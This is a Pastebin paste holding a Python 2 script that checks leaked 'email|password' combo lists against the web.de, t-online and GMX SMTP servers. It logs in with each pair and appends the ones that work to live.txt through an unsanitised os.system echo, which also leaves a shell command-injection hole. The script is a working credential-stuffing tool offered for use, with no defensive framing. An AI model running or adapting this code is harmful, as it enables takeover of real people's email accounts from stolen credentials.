Advertisement
Guest User

Untitled

a guest
Feb 25th, 2020
500
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.63 KB | None | 0 0
  1. def web_de(i):
  2. try:
  3. empas = i.rstrip()
  4. i = i.rstrip()
  5. i = i.split("|")
  6. user = i[0]
  7. pwd = i[1]
  8. server = smtplib.SMTP('smtp.web.de', 587)
  9. #server.set_debuglevel(1)
  10. server.starttls()
  11. server.login(user,pwd)
  12. print "["+str(counter)+"|"+str(a)+"]",user+'|'+pwd,"=> SUCCESS"
  13. payload = "echo '"+empas+"' >> live.txt"
  14. os.system(payload)
  15. except Exception as e:
  16. print "["+str(counter)+"|"+str(a)+"]",user+'|'+pwd,"=> "+str(e)
  17.  
  18. def t_online(i):
  19. try:
  20. empas = i.rstrip()
  21. i = i.rstrip()
  22. i = i.split("|")
  23. user = i[0]
  24. pwd = i[1]
  25. server = smtplib.SMTP_SSL('securesmtp.t-online.de', 465)
  26. server.set_debuglevel(1)
  27. server.login(user,pwd)
  28. print "["+str(counter)+"|"+str(a)+"]",user+'|'+pwd,"=> SUCCESS"
  29. payload = "echo '"+empas+"' >> live.txt"
  30. os.system(payload)
  31. except Exception as e:
  32. print "["+str(counter)+"|"+str(a)+"]",user+'|'+pwd,"=> "+str(e)
  33.  
  34. def gmx(i):
  35. try:
  36. empas = i.rstrip()
  37. i = i.rstrip()
  38. i = i.split("|")
  39. user = i[0]
  40. pwd = i[1]
  41. server = smtplib.SMTP_SSL('mail.gmx.com', 465)
  42. server.set_debuglevel(1)
  43. #server.starttls()
  44. server.login(user,pwd)
  45. print "["+str(counter)+"|"+str(a)+"]",user+'|'+pwd,"=> SUCCESS"
  46. payload = "echo '"+empas+"' >> live.txt"
  47. os.system(payload)
  48. except Exception as e:
  49. print "["+str(counter)+"|"+str(a)+"]",user+'|'+pwd,"=> "+str(e)
  50.  
  51.  
  52. import sys
  53. import smtplib
  54. import time
  55. import os
  56. a = len(open(sys.argv[1]).readlines())
  57. counter = 0
  58. for i in open(sys.argv[1]):
  59. counter += 1
  60. if 't-online' in i:
  61. t_online(i)
  62. elif 'web.de' in i:
  63. web_de(i)
  64. elif 'gmx' in i:
  65. gmx(i)
  66. else:
  67. print "MANA BISA ANJINCC"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement